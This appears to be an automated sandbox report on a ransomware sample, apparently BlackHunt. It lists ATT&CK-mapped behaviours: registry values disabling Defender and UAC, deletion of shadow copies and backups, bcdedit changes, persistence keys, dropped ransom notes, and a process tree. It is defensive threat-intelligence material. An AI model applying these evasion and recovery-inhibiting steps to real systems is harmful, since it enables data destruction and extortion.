b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1

Data Destruction

T1485

pid	Process
5244	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4484	bcdedit.exe
4932	bcdedit.exe

Renames multiple (591) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5156	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\R:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\H:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\P:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\A:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\G:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\J:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\U:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\L:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\S:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\Z:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\V:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\W:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\Q:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\E:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\I:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\B:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\N:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\K:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\X:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\T:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\Y:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\O:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened (read-only)	\??\M:	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\dotnet\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\LC_MESSAGES\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\messages_zh_TW.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfxswt.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\sa-jdi.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ne\LC_MESSAGES\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\splash.gif	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\snmp.acl.template	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\logging.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\vi\LC_MESSAGES\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\uz\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xmlresolver.md	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\javafx.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\limited\US_export_policy.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xmlresolver.md	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy\ffjcext.zip	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ug\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\trusted.libraries	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\ext\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\gl\LC_MESSAGES\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\dnsns.jar	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mr\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmti.h	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\directshow.md	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\libffi.md	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\messages_de.properties	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ky\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\lib\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bg\LC_MESSAGES\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hr\#BlackHunt_ReadMe.hta	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\release	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_Private.key	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\bin\javacpl.cpl	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File created	C:\Program Files\Java\jre-1.8\lib\applet\#BlackHunt_ReadMe.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\amd64\jvm.cfg	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\be.txt	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
3628	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1608	vssadmin.exe
780	vssadmin.exe
3032	vssadmin.exe
4364	vssadmin.exe
4660	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeRestorePrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeBackupPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeTakeOwnershipPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeAuditPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeSecurityPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeIncBasePriorityPrivilege	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Token: SeBackupPrivilege	1600	vssvc.exe
Token: SeRestorePrivilege	1600	vssvc.exe
Token: SeAuditPrivilege	1600	vssvc.exe
Token: SeBackupPrivilege	5596	wbengine.exe
Token: SeRestorePrivilege	5596	wbengine.exe
Token: SeSecurityPrivilege	5596	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3692 wrote to memory of 1476	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	92
PID 3692 wrote to memory of 1476	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	92
PID 3692 wrote to memory of 3444	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	94
PID 3692 wrote to memory of 3444	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	94
PID 3692 wrote to memory of 2960	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	96
PID 3692 wrote to memory of 2960	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	96
PID 3692 wrote to memory of 3248	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	98
PID 3692 wrote to memory of 3248	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	98
PID 3692 wrote to memory of 2212	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	101
PID 3692 wrote to memory of 2212	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	101
PID 1476 wrote to memory of 4280	1476	cmd.exe	100
PID 1476 wrote to memory of 4280	1476	cmd.exe	100
PID 3444 wrote to memory of 4440	3444	cmd.exe	103
PID 3444 wrote to memory of 4440	3444	cmd.exe	103
PID 2960 wrote to memory of 2268	2960	cmd.exe	105
PID 2960 wrote to memory of 2268	2960	cmd.exe	105
PID 3248 wrote to memory of 4104	3248	cmd.exe	104
PID 3248 wrote to memory of 4104	3248	cmd.exe	104
PID 2212 wrote to memory of 4184	2212	cmd.exe	106
PID 2212 wrote to memory of 4184	2212	cmd.exe	106
PID 3692 wrote to memory of 4812	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	109
PID 3692 wrote to memory of 4812	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	109
PID 3692 wrote to memory of 448	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	110
PID 3692 wrote to memory of 448	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	110
PID 3692 wrote to memory of 1148	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	112
PID 3692 wrote to memory of 1148	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	112
PID 3692 wrote to memory of 3616	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	114
PID 3692 wrote to memory of 3616	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	114
PID 4812 wrote to memory of 4716	4812	cmd.exe	116
PID 4812 wrote to memory of 4716	4812	cmd.exe	116
PID 3692 wrote to memory of 1004	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	117
PID 3692 wrote to memory of 1004	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	117
PID 3692 wrote to memory of 4800	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	120
PID 3692 wrote to memory of 4800	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	120
PID 448 wrote to memory of 4256	448	cmd.exe	121
PID 448 wrote to memory of 4256	448	cmd.exe	121
PID 1148 wrote to memory of 4200	1148	cmd.exe	122
PID 1148 wrote to memory of 4200	1148	cmd.exe	122
PID 3616 wrote to memory of 3992	3616	cmd.exe	123
PID 3616 wrote to memory of 3992	3616	cmd.exe	123
PID 3692 wrote to memory of 3596	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	124
PID 3692 wrote to memory of 3596	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	124
PID 1004 wrote to memory of 3356	1004	cmd.exe	126
PID 1004 wrote to memory of 3356	1004	cmd.exe	126
PID 3692 wrote to memory of 1916	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	135
PID 3692 wrote to memory of 1916	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	135
PID 3692 wrote to memory of 2428	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	133
PID 3692 wrote to memory of 2428	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	133
PID 3692 wrote to memory of 2716	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	132
PID 3692 wrote to memory of 2716	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	132
PID 3692 wrote to memory of 4464	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	130
PID 3692 wrote to memory of 4464	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	130
PID 4800 wrote to memory of 4516	4800	cmd.exe	129
PID 4800 wrote to memory of 4516	4800	cmd.exe	129
PID 3692 wrote to memory of 2348	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	136
PID 3692 wrote to memory of 2348	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	136
PID 3596 wrote to memory of 1460	3596	Process not Found	139
PID 3596 wrote to memory of 1460	3596	Process not Found	139
PID 3692 wrote to memory of 4348	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	138
PID 3692 wrote to memory of 4348	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	138
PID 1916 wrote to memory of 4700	1916	cmd.exe	141
PID 1916 wrote to memory of 4700	1916	cmd.exe	141
PID 3692 wrote to memory of 3536	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	142
PID 3692 wrote to memory of 3536	3692	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe	142

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe
"C:\Users\Admin\AppData\Local\Temp\b5846af94a82dc7ec89126de336ff727cbde2891b9ca5e68a7e952b1ac94afc1.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
